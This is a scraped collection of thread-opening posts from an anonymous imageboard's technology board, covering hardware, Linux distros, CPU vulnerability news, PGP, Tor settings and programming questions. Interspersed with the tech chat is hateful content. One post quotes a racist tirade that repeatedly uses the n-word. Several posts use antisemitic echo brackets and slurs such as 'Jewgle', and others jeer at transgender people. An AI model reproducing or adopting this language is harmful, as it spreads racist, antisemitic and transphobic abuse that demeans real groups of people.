WTF? Tens of millions of read/write? Is this possible or I have done something wrong collecting data? I read from /sys/block/mmcblk0/stat (the sd card), /sys/block/sdb/stat (usb for /var) and /sys/block/sda/stat ("lxr" usb for samba sharing).

PS: Where you see the graph falling near zero is because I must restart this little bitch. This means that for the total I/O you must ADD the peak values!

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What is the difference between unsigned char and byte data types?

They are both a number from 0 to 255

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Can't view videos on hooktube after upgrading tor browser and updating system

Any Archfags on here who can help me troubleshoot?

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The internet is becoming fractured

Does anyone else feel like the internet is begin fractured on purpose? With the recent laws in the EU, the China firewall/botnet, Russia designing their own CPUs and the constant fears of cyber warfare things have been moving in an interesting direction.

This desire for security and fear of spying will eventually result in hardware/software that becomes further incompatible with everything else. Standards become ignored and different between the networks in each nation. All traffic snooped and blocked at the borders where the networks meet. You can stop the spread of information or change it. It gives you time to shape your propaganda at the very least.

I'm concerned about this happening in the next few decades. It'll be a slow march to a major netsplit and once the ball gets rolling who knows how far it may go. I think we may see as many as 8 subnets develop over time.








>Australia/southern ocean nations

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This is a very sad day for the internet.

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From the aritcle:

News has just started spreading that researchers have sighted another eight Spectre like vulnerabilities in Intel processors, all resemble Spectre, four of them are critical. The new vulnerabilities are grouped and named as Spectre-ng. The newly discovered vulnerabilities would make it really easy to exploit a host from a simple VM.

German c't / Heise reports and breaks the news today, as the new vulnerabilities have not been made public just yet. There would be 'no doubt' that these are real vulnerabilities. While technical details are missing, the attack scenarios resemble close to what the Spectre vulnerabilities are.

Currently, most at risk are shared hosting providers, once you have access to your rented server-container, you could exploit the processor to retrieve secure data. All eight vulnerabilities share the same design problem that the "Meltdown and Spectre" vulnerabilities detailed as well - they are, so to speak, Spectre Next Generation ergo Spectre NG. c't mentions they have concrete information about Intel's processors and their patch plans. However, there are some indications that other processors are affected as well, at least some ARM CPUs are also vulnerable to some extent. Further research into whether and to what extent the AMD processor architecture is vulnerable at (if at all), is not yet known.

Intel is reportedly actively and nervously working on Spectre NG patches behind the scenes; other patches are developed in collaboration with the operating system manufacturers (Microsoft / Linux etc). When exactly the first Spectre NG patches and firmware updates will become available is not yet clear. According to information, Intel is planning at least two patch waves: a first one should start in May; a second is currently scheduled for August. For at least one of the Specter NG patches is already a specific date as it was Google's Project Zero that has found one of the vulnerabilities, on May 7 - the day before the Windows Patchday - the 90-day warning period expires. So it's likely that when the first patch would be released for Microsoft Windows. Microsoft is preparing CPU patches: they appear to be in the form of optional Windows updates, and not so much microcode updated (firmware). The PC motherboard and server manufacturers probably need too long for BIOS updates.

Intel classifies four of the Specter NG vulnerabilities as "high-risk"; which in Intel language is translated as: super dangerous. The danger of the other four is rated as medium. According to c't/Heise, Specter-NG risks and attack scenarios are similar to those of Specter - with one exception. C't calls the Intel vulnerabilities and their procs a Swiss Cheese due to the many security holes.



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Talos II computers started shipping

TalosII ppc64el computers started shipping here's an unboxing by tenfourfox: https://tenfourfox.blogspot.com/2018/04/unboxing-talos-ii-its-here.html?m=1

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FBI to America: Reboot Your Routers, Right Now


Thoughts? I don't trust the Feds for a second, but I don't see what they could gain from me rebooting my router. And even if I decide not to, it won't make it more than a week or so without crashing and needing a reboot.

Wat do /tech/?

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what do you use your computer(s) for?

What are the things you do most often on your computer(s)?

How many computers do you own?

How much time do you spend on a computer per day?

What OS are you using?

Disclaimer: I work for the NSA

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Apple's WWDC 2018!

Get in here fellow MacFags

The Keynote begins in about an hour, 10 am PST!!!!

>According to Bloomberg, there will be no hardware announcements at WWDC. Apple has new MacBooks, MacBook Pros, iMacs, and iPad Pro models in the works, but Bloomberg says none of those products will be ready in time for a WWDC launch.

Oh well, that's a little disappointing. Hopefully though they'll make up for it by providing more Animojis, new WatchStraps, and made some never colors for iPad cases.

It also looks like we'll get to see MacOS 10.14. It doesn't matter that High Sierra is a buggy mess anymore, because that's about to be obsolete, and we can all upgrade to the correct path soon enough, super excited. There is also a new OS for the Watch, which judging by the number of threads here, will please /tech/.

>Apple analyst Gene Munster, however, believes Apple may be planning to introduce a Beats-branded product that includes Siri integration as a low-cost HomePod alternative. The device would not be branded as a HomePod, but would function in a similar manner.

Pretty sick. Now I'd never be caught dead with Beats products, but I'm glad Amazon and Google won't have the monopoly on home surveillance systems.

Live blog!




See you all there!

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Is migrating from Git to Mercurial worth it? Does mercurial have any features that are better thann giit's?

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If you're on chromium 59 or higher go to chrome://flags/#enable-font-cache-scaling and disable that option, then restart Chromium. Watch your font rendering get better.

This is all because whatever "font cache scaling" means is broken and despite some chink providing every info Chromium's developers need to know they refuse to fix it.

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Piratebox and Wireless Mesh Networking

Piratebox and Wireless Mesh Networking

>Does the PirateBox do wireless mesh networking?

The holy grail of offline networking is wireless mesh and we've been experimenting with it for the PirateBox. We have successfully deployed and connected small arrays of PirateBoxes using the B.A.T.M.A.N. protocol and synchronized them with Forban. This is still an experimental feature at this point though we are making good progress. We'll be pushing out an alpha version of this feature in our upcoming release.



This is currently rustling my jimmies

Has anyone successfully done wireless mesh networking from computer to computer, utilizing only computers and no routers here?

Pic related shows routers though, but you get the idea - computers directly communicating with other computers without running through a network hub

It would totally alter and innovate the internet as we now know it.

would like some guidance if anyone has any

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We have (at least) two threads for yelling at Intel-Aviv but none to laugh at it, so let me start this dance


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How would the world be different if GNU/Linux were AGPL3?

All the shit datamining websites in the world are running on Linux. Free software might be killing off proprietary software, but unless it's AGPL, it's a free subsidy to closed-off webservices and dataminers. The commercial web would not have happened in anywhere near the current scale without the efforts of the FOSS community. Why do we continue to allow them to benefit?

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So I brought one of these little crap handhelds at walmart they are just another cheap hand held with a bunch of crappy reskins and stuff but I couldn't find any videos or anyone talking about taking them apart and attempting to mod them does anyone have any suggestions before I break the thing trying to pop off the faceplate?

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Do we really still need C?

Considering that C++ can be just as fast as C there is probably no need for C anymore as it's just too difficult to use right even for experienced programmers.

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x86/legacy support via add-on cards?

I've been attempting to find hardware that would allow me to run x86 software on real hardware inside of a VM. I have not been able to find much aside from pic related, which is called the Mustang 200. It's a PCIe card with dual x64 processors and RAM. Unfortunately it only seems to come with botnet CPUs. You can find all the details here: h ttps://www.ieiworld.com/en/product/model.php?II=564

This card is close to what I want but it seems to be pretty locked down. It's intended for "cloud computing" but my hope was to use it instead for running legacy software inside of a VM. Basically, I want to build a computer using a POWER9 or similar non-botnet cpu then use an x86 add-on card for all software that would not run natively on the new architecture.

Has anyone here done or built a similar set-up before? These type of add-on cards were popular back in the day in Mac circles but I don't see any available these days aside from this one I've found. To me such an add-on card seems like the best way to bridge the gap between x86/AMD64 and a new architecture be it POWER9 or RISC-V. Since things have stagnated so much in the last decade I don't think you'd lose enough performance for it to matter in most daily tasks.

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The Command Line


Let's talk about the command line!

The command line is the true patrician way to interact with your computer. It's so comfy to use command line or terminal-based utilities. and they have several huuge advantages over GUIs.

For one they're generally really fast. Even on older or resource-limited systems, you can be confident that your experience will be mostly quite smooth in comparison to full GUI stuff.

On a semi-related note they're super-lightweight too! I get really autistic about a lot of things, UwU. And one of those things is RAM usage. I know we have systems with more than enough RAM to run the big GUIs just fine, but I just dont like things using up more RAM than they need. Terminal and command-line stuff is efficient enough to satisfy my autism.

Also, i'd imagine they're waaay more secure. There is so much code that goes into making the graphical stuff happen for all those GUI programs, and as the code size increases, so does the risk of bugs. smol command line programs don't need all that stuff so theres less code within a single project to be buggy ^_^

I'll leave with two pretty quotes, formatted in the style of mister lisp meanie:

I have a mouse, but don't have a mouse driver for MINIX and have never felt the need to write one. Typing "rm x y z" is a lot faster than clicking five times and then having to convince the system that you really, truly, mean it and this is not a mistake and that you are consenting adult over 18 and that you completely understand the consequences and you still want to do it.
-- Andrew S. Tanenbaum

The computers went wrong when you made them for niggers. That's when it went wrong. It's like how many people, it's like, "Ugh it's a command line.." Ah, fuck you man. White people don't mind it, ok? The white people are like, "Yeah it's a command line. So what's your point?" The niggers are all like, "Nooo! We don't like the command line!" Here's the difference in a white person and a nigger: Do you like the command line? Ok, you're a nigger. Fuck you. Get the fuck out.
-- Terry A. Davis

post made in ed, the standard text editor.

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UNIX criticism and improvement

Can we have a thread discussing the flaws with UNIX/shell scripting? and how to go about improving upon these languages?

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OpenPGP broken, EFF recommends abandoning it.

>Don’t panic! But you should stop using PGP for encrypted email and switch to a different secure communications method for now.

>A group of researchers released a paper today that describes a new class of serious vulnerabilities in PGP (including GPG), the most popular email encryption standard. The new paper includes a proof-of-concept exploit that can allow an attacker to use the victim’s own email client to decrypt previously acquired messages and return the decrypted content to the attacker without alerting the victim. The proof of concept is only one implementation of this new type of attack, and variants may follow in the coming days.

>Because of the straightforward nature of the proof of concept, the severity of these security vulnerabilities, the range of email clients and plugins affected, and the high level of protection that PGP users need and expect, EFF is advising PGP users to pause in their use of the tool and seek other modes of secure end-to-end communication for now.

>Because we are awaiting the response from the security community of the flaws highlighted in the paper, we recommend that for now you uninstall or disable your PGP email plug-in. These steps are intended as a temporary, conservative stopgap until the immediate risk of the exploit has passed and been mitigated against by the wider community. There may be simpler mitigations available soon, as vendors and commentators develop narrower solutions, but this is the safest stance to take for now. Because sending PGP-encrypted emails to an unpatched client will create adverse ecosystem incentives to open incoming emails, any of which could be maliciously crafted to expose ciphertext to attackers.


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Music for programming

What do you computer nerds listen to while writing programs? I'm looking for stuff that isn't distracting, and doesn't have any shitty vocals ruining my train of thought.

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Are you ready to be fired for being an incel?

>get reported at work for "looking like an incel"

>get fired

bestest timeline

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>use Clover Dev

>Can visit 8chan

Based floens

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>Tl;DR: AMT is remotely vulnerable via default passwords

Tech was right again!

Sorry I keep posting ET; they're just my favorite site

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EURSS trouble with Tor

StrictNodes 1

ExcludeNodes {us},{au},{ca},{nz},{gb},{fr},{de}

ExcludeExitNodes {us},{au},{ca},{nz},{gb},{fr},{de}

So basically in the Tor browser I've configured the Torrc to excluded the Five eyes plus some other awful countries with a strict policy and since this morning I can't browser onions except if I configure StrictNodes to 0. Does anyone has a similar problem ?


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If we had another chance at a character encoding standard, what would you propose?

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Emacs/systemd soon fellow tech enthusiasts.


> - A systemd user unit file is provided

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Alan Turing Thread.

Cockshott Gang reporting on Turing


Victor Glushkov Thread.

Аналитик DRAKON and PROL2 Programming Thread.

What do you think of ternary computers such as the Setun?

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/chip/ General

Hey, anon! Have you taken the chip pill? If you are a real computer enthusiast, you care about working shit at the hardware level, right?

https://www.sparkfun.com/tutorials/93 - getting started with an ATMega328, the basis for the Arduino

http://referencedesigner.com/tutorials/verilog/verilog_01.php Verilog tutorial for FPGA


Getting Started in Electronics

Whatcha buildin', anon? Whatcha want to build?

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What do you gringos think of me? I still love you all.

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ReactJS Thread

Is react really worth of learning?

I live in Brazil, we don't have jobs in react. I don't know hows things going out of here. How is the area of react in other countries? What do /tech/ think about ReactJS?

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Switching Accounts to GDPR Countries

>change old Facebook settings so that I now live in Germany

>request account deletion


>they're forced to delete my shit for real?

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MX LINUX -- any good?

It's been an week on Ubuntu Mate 18.04 LTS and it has its quirks and annoyances. Before installing it, I played with MX Linux 17. It's super fast and I like the iPhone connectivity out of the box.

Have you got experience with MX Linux?



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Why haven't you installed Void on your PS4 yet /tech/?

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>16 hours of troubleshooting and debugging on a microcontroller to realize that C requires a cast before bitshifting to a larger size because apparently my belief that values being operated on were placed in some dynamic memory is utterly wrong


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How do I make a simple file server? Like a directory listing with an upload button.

I tried lolisafe, pomf and uguu but they're all not completely local (hence require a lot of editing) and don't save the files with the name that they were uploaded with.

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Autistic Software Choice Thread

Autistic software choice charts are a staple of /tech/. Let's see what everyone is running. no bulli edition.

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Minimal academic document writing language

What do use to write documents and why?

I used to use LaTeX and I liked it, but it's a fucking pain in the ass to install and update with its texlive cancer. Makrdown is nice but it isn't really suitable for writing academic documents. I've heard about R markdown but never really tried it.

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PGP email is safe now!

EFF says it's safe to turn PGP email back on


...but only with Thunderbird+Enigmail

kinda cool that the Free Software solution was the one that got fixed first

Also, they say to avoid it on Apple Mail, and acknowledge that going plaintext-only is a temporary solution on other clients.

I really like their closing statement here. It's looking forward to a better future for secure email, yay!

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I'm happy. Github deserves to die a quick death

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GNOME removes features again


I seriously hate GNOME

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Codemonkey breaks captcha for Javascript users

Is he part of the noscript master race, /tech/?

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my 16yo 4:3 monitor is finally dying


I love it.

it just got a smattering of dead pixels and its growing.

Can I buy a 4:3 somewhere else? or a 5:4? I fucking hate widescreen displays and can't shell out $1000+ for a screen.

How do I save it, if possible??? Running at 1024x768 75fps.

pic related.

Benq fp537s

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Tech lifehacks/comps?

shit like pic related?

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Purism got a (((courtesy request))) from intel to stop

> Purism has been working on reverse-engineering the Intel Firmware Support Package (FSP) module but it looks like that work may have taken a turn.

> A Phoronix reader tipped us off this morning that the Intel FSP reverse-engineering information made public by Purism has now been retracted. The past several months Purism has been working on reverse-engineering the Intel FSP to free the system further to run on only open-source code rather than still having the Intel binary-only module paired with Coreboot. Their big focus this year has been on figuring out the actual silicon initialization code inside the FSP. Purism's Youness Alaoui was very close to finding out this information at the start of April and he wrote a lengthy blog post outlining his reverse-engineering work.

> But as we were informed this morning by a sharp-eyed reader, that post has now been removed:

>> 2018-04-23 update: after receiving a courtesy request from Intel’s Director of Software Infrastructure, we have decided to remove this post’s technical contents while we investigate our options.

> That same individual also pointed out the repository where they had been working on their FSP code has also been taken offline. That's about all we know for now, but will update if/when we hear more.

Article: https://www.phoronix.com/scan.php?page=news_item&px=Purism-FSP-RE-Disappear

Archived sites taken from the forum comments: https://web.archive.org/web/20180421130723/https://code.puri.sm/kakaroto/FSP/src/master/fsp_m_init.c





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/clg/ Crux Linux General

CRUX is a source-based Linux distro with a no-frill ports-based package manager, SysV and stability as its main focus. No dependency resolution (can be added using prt-get), no sophisticated process supervision, good ol' simplicity.

Who's it for?

-People who like source-based distros but dislike Gentoo (for valid reasons)

-People who like simplicity

-People who don't like things constantly changing

-People who like ports

-People who love tons of packages being available in repos ;)


You can browse the insane amount of packages here


Niche packages you might not be able to find on other distros:






CRUX is a hidden gem and the devs (which is the community) know this and like it that way. They'll keep on developing CRUX until the end of time whether people know it even exists or not

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What does /tech/ recommend instead of discord?

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Why aren't (((you))) wearing the Thinkpad of watches?

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Support PCLOS in 2018


PCLinuxOS is a systemd-free distro that has barely changed since its release. Think of it like Slackware's philosophy

It's RPM-based with an apt-like package manager. No dpkg, apt-get or apt, just apt-get RPM. It features the KDE Plasma and Mate desktops but also provides Xfce and Trinity.

tl;dr rolling release systemd-free kde plasma binary distro with rpm-based non-bloated apt package manager needs moneyz

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youtube fucked

I get the same 10 recommendation chains over and over and over again errday


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Massive Steam security hole closed a decade late

How bad is this?


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Why is the left still the format of choice?

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CeBIT and other computer expositions

Has anyone ever been to CeBIT or any other expos? I'm thinking of going next year but I have no idea what to expect.

Dunsparce pic unrelated

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Are there any ethical live streaming services that respect your freedom?

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JOE editor - why are you using literally anything else?™

JOE editor is a minimal, clutter free text-based text editor available on pretty much every BSD/Linux OS. It combines the straightfowardness of Nano with the clean layout of VIM and the power of emacs. It's faster than all 3 of those as a bonus :-).







So what are you waiting for? The answer is VIM or emacs to load anything!


http://heather.cs.ucdavis.edu/~matloff/Joe/NotesJoe.NM.html (or better yet do man joe)

Screenshots: img2 and img3

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Apple Proposes Emojis of Disabled People


Who is actually going to use these?

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FOSS Discord Clone


Seems some people are making a clone of Discord, but FOSS. They also seem to be behind GitGud and Mixtape. I saw a familiar name, Odilitime (works on Endchan?). Seems like a good project.

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Intel's NUC - Next Unit of Computing

Does anyone here have experience with one of these? They seem nifty, portable and powerful at the same time. I discovered it on h-node so I'm pretty sure they can be made fully libre as well. Could this be viable as a libre desktop for someone who doesn't need much intensive computing but plays vidya every now and then?

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> Has anyone successfully done wireless mesh networking from computer to computer, utilizing only computers and no routers here?

There was the OLPC project.

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2D Vector Graphics General

Thread for discussing:

* editors (Inkscape, Adobe Illustrator etc)

* file formats (will we overcome XML and text formats?)

* direction vector graphics are taking

* why aren't we using SVG on infinitychan?

* animation

* everything else

Also is there anything like this vaporware?:


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Mozilla sure has an interesting logo...

>search up firefox source on github

>first thing I see is this logo

This is quite the coincidence, isn't it?

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Alex Jones helps a NEET

Alex Jones Sits Down With 30 Year Old Man Evicted From His Parents House

I am posting this because I have a sneaking suspicion that this could be helpful to a handful of posters here. It's tangentially tech related, as this poor sob wants to be in /tech/, but doesn't really have any direction, or motivation in life. Enjoy!


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Transhumanism, is it the future? what do you guys think?

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Anyone else sometimes like to imagine what the Commodore Home Computer line would be like today if Commodore never killed it off and Commodore themselves never died? I don't mean the Amiga. I mean, imagine a Commodore 64-compatible system with a 6502 compatible processor, but with modern features like SIMD instructions, 64-bit word size, and out-of-order execution. And running a modern 64-bit OS but fully compatible with Commodore BASIC v2 and using the same kernel (KERNAL) but upgraded to support more hardware and memory management features and a GUI installed by default? How do you think it would've compared to the IBM PC compatibles?

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Should I take out a loan to stockpile cryptokitties? I missed the bitcoin craze and I dont want to lose this opportunity.

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Change my path

So I am a developer.

By most standards a pretty good one at that, with a decent career, job situation and salary (not a huge salary, but nothing to complain about).

The thing is I am slowly but surely going insane being stuck in the enterprise world as a consultant. So the short version is that I am looking for a way out, preferably with economic freedom, and more time with the kids (and more/any time to do the stuff that I want to do in my currently non-existing spare time).

I am a good techie - been working as tech lead and/or architect in most of my projects the last decade, and the people I work with, both clients and co-workers like me.

I am horrible at sales (can't lie with a straight face) and have borderline severe authority issues (though I try to keep that in check, and rather let it fester inside and eventually grow into a tumor I suppose).

Are there anyone there that could give me some directions cause I am at a loss. But I know if I keep on with this 8-5-every-fucking day year after year I'll be an alcoholic before I hit 42.

Any advise is greatly appreciated

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All memes aside, how good is Ubuntu as a desktop OS?

Any reason not to use it?

Does it still do the amazon spying shit?

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What are some good IRC channels

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LineageOS adopts a CoC

…but it seems to at least not have any statements about diversity.



Still, looks cucked. And this is not your average shitapp in Electron, this is a rather complex operating system.

Is this a necessity for any project nowadays? Why this keeps happening? Is any project safe from this?

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More and more internet services require SMS verification instead email verification such it was before.

I am looking for a way to create numbers to receive text messages as easy and anonymous like email accounts.

Services like receive-sms-online are good however have many disadvantages. I need a few personal numbers for different purposes, additionally I live in a totalitarian state. so I can not just buy a sim card in the next shop and use it with an old Motorola like it was a few years ago.

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Why is Intel fucking up so much while AMD is god.

This couldn't have happened without CIA niggers.

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Another one bites the dust: 9front goes SJW

With it's joke CoC page (http://9front.org/coc) and generally irreverent sense of humor, you could be excused for assuming that 9front, a project continuing the development of Plan 9 From Bell Labs, wouldn't fall to the idpol mania that has swallowed so many tech communities.

Unfortunately, you'd be wrong.

Apparently, there is a CoC in full effect in at least some 9front spaces, and violating it can result in a no-warning permaban if you're not a project contributor. aiju sez:

>If he was a random newbie, I would have just permabanned him and forgot about him, like the occasional 4chan Holocaust deniers or that asshole that blamed me for uriel's death and never shut up about his misunderstanding of mental illness.

The issue at hand were some comments in IRC by Aram that aiju took as anti-tranny.

Fortunately, this story has a "happy" ending. Aram confirmed that he is, in fact, super down with trans folks, some of whom are his friends! #BeAnAlly

The conversation was rounded out with the following observation:

>CoCs aren't just about banning people for expressing their opinions, it's also about trying to fight real world social problems.

Because, as we all know, tech projects are just fronts for fighting for LGBTQIA+ inclusivity.

If you thought 9front/cat-v had avoided the SJW infection, be warned. Emails here: https://my.mixtape.moe/dbvmmr.txt

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new /tech/ mumble server

I couldn't help but notice that the /tech/ mumble server is down, so I made a new one! Let me know if you want more channels, etc. This server is self-hosted and will be up in perpetuity.

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C64 demo: Rotating image on X axis

I'm making a C64 demo and I'm working on one specific part and I'd appreciate some help. I can't figure out how to rotate an image on the X axis. Let me explain how this effect works first.

It's what is called on the C64 a FPP effect (flexible pixel position) meaning you can display any line of graphics on any line on the screen. My effect covers 120 lines of the screen and the graphics (the font of the scrolltext) is 21 lines high.

So I have a 120 bytes (actually 256 but the 121-255 bytes are unused) array and the values stored there decide on the line of graphics to be displayed. So, if you just put there 0,1,2,3,4,5.... you'll have a normal image. If you do 0,0,1,1,2,2,3,3,4,4... it will be double height. If you do 0,1,0,2,0,3,0,4,0,5.... you will make 1 pixel gaps between lines (blinds effect ?)

Now with this setup it's possible to make a pseudo 3D effect. By calculating which lines are displayed on the screen you can rotate the image on the Y axis. Do that 2 times and You can display 2 sides of the virtual cube. That's my problem, I can't come up with this algorithm. If you look on the internet for such things you will find tutorials or academic papers on rotation of bitmaps and such, but these are exact pixel perfect calculations, obviously this is not what I need or even could calculate in real time on the Commodore... It's just a manipulation of the lines order. Any ideas ?

video related, it's what I have right now (stretching, blinds)

I can describe some other C64 effects if someone's interested.

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Cloudflare getting pwnd again.

Cloudflare DNS's 1111 resolver has been BGP-hijacked

this morning by AS58879


This is what you get for centralizing resources and trusting the botnet.

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How much data do you think will be there anons

I just requested my data from the discord botnet, how much do you think will be there

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Fuck. Is Palemoon compromised or is NoScript actually unsafe?

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What is some cool useful shit you've done with a raspberry pi ? I have two lying around and I don't know what I should use them for.

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Why don't the moderation sticks two threads:

one for browsers discussions

one for distro discussions

Then we could end this constant making of threads of these subjects. Else we gonna stay complaining forever.

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Microkernel Love Thread!

Hi! ^.^

This is a happy little thread about microkernels OSes!

I love them so much conceptually but sadly they aren't really usable full time yet. ;_;

I can see them getting more popular soon though! We'll definitely see a paradigm shift.

Ok so theres Minix3 which has a cute raccoon logo and was also used by (((Intel))) for the ME.

It has coreutils and a lot of stuff taken from NetBSD. Same pkgsrc too!

It could a l m o s t be used as a little server OS, as it supports ftp, httpd, bind dns, dhcpd, and could even be an email server, but it has no packet filtering firewall like pf or iptables so it lacks security in that sense. I couldn't get most graphical environments to compile nor could I get a browser (outside of w3m or links) or sound, so definitely not desktop-capable. Also only 32-bit.

HURD is a similar story, only it can actually filter packets. Also it's a dead project that will never get anywhere at this point >_<

Anyway those are the old ones that are just kinda dead/dying. Theres 3 big new ones that are really exciting OwO

First is Genode OS. This is an "OS Framework" that supports pretty much the entire L4 series of microkernels, including seL4. They have been talking big about this thing based on it called sculpt, and I heard from some anon that QtWebkit or something like that got ported to it, so it seems it's progressing nicely. Can't wait to see more from this! Maybe they'll release an iso at some point? they stopped doing those years ago.

Next is Redox. Its made in Rust, and apparently takes inspiration from Plan9. They already have a GUI system which is amazing for how new this is. Sadly you can't do much with it yet but hopefully soon as it develops.

Finally, Google is making one called Fuchsia. I dont like this already because (((Google))) but it does mean a lot of things. First since they apparently want this to be put on phones, that kinda disproves the "microkernels have bad performance" maymay. If it's good enough for phones it's good enough for desktops or anything else. second is that it means we are definitely gonna see a rise of microkernels no matter what. Just kinda sucks that it had to be Jewgle that caused it. Hopefully we get a debotneted fork.

OMG I typed so much! Anyway what do u guys think? Long live the superior microkernel design!!

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nebulet: a microkernel that implements a WebAssembly "usermode" that runs in Ring 0

>Nebulet is a microkernel that executes WebAssembly modules instead of ELF binaries. Furthermore, it does so in ring 0 and in the same address space as the kernel, instead of in ring 3. Normally, this would be super dangerous, but WebAssembly is designed to run safely on remote computers, so it can be securely sandboxed without losing performance.

>Eventually, once the Cretonne compiler matures, applications running on Nebulet could be faster than their counterparts running on Linux due to syscalls just being function calls, low context-switch overhead, and exotic optimizations that aren't possible on conventional operating systems.

>Right now, Nebulet isn't ready to do anything yet, but it'll get there.

>written in Rust


Why aren't you running a WebAssembly microkernel yet, /tech/?

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Web Frameworks

What is your favorite web development framework?

I love Ruby on rails

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Am I paranoid?

I want to start a wordpress blog my thoughts on certain things (philosophical, political) and I'm held back by thinking this data will somehow be processed. My writing style, ideas and associations will inevitably make a profile of me.

I know that that's the point of a blog but my question is - is it safe?

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I have a couple of drawers full of scrap electronics: broken headphones, old mp3 players, electric razors, etc. Do I just throw them in the garbage bin or is there something useful I can do with them?

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non-x86 hardware of /tech/

What are your favorite non-x86 machines that you own??

My current collection:

- Apple IIgs with 8MB of RAM

- PowerBook G4 15" high-res 1.67 and non high-res 1.67

- the bottom half of an iBook G3 (dual USB)

- iBook Clamshell SE from junkyard

- Macintosh SE

- three SPARC T3-1 machines

- Two 1.42 GHz Mac Mini G4 machines (one overclocked to 1.5)

- Freescale MPC8572 Development System

- Sharp Zaurus

- lots of ARM dev boards

- 2.7GHz dual PowerMac G5 (liquid cooling system needs work)

My favorite machines I own are the SPARC T3-1 servers and my PowerBooks. I also have a G5 quad on the way that may become my new favorite. I may buy a Talos II later this year, as well.

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What are some arguments in favour of privacy-respecting and libre software?

What are some arguments in favour of software and services such as amazon, that provide a better service in exchange of your soul?

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Are there any tui programs to browse 8ch ?

pic was just the first in my folder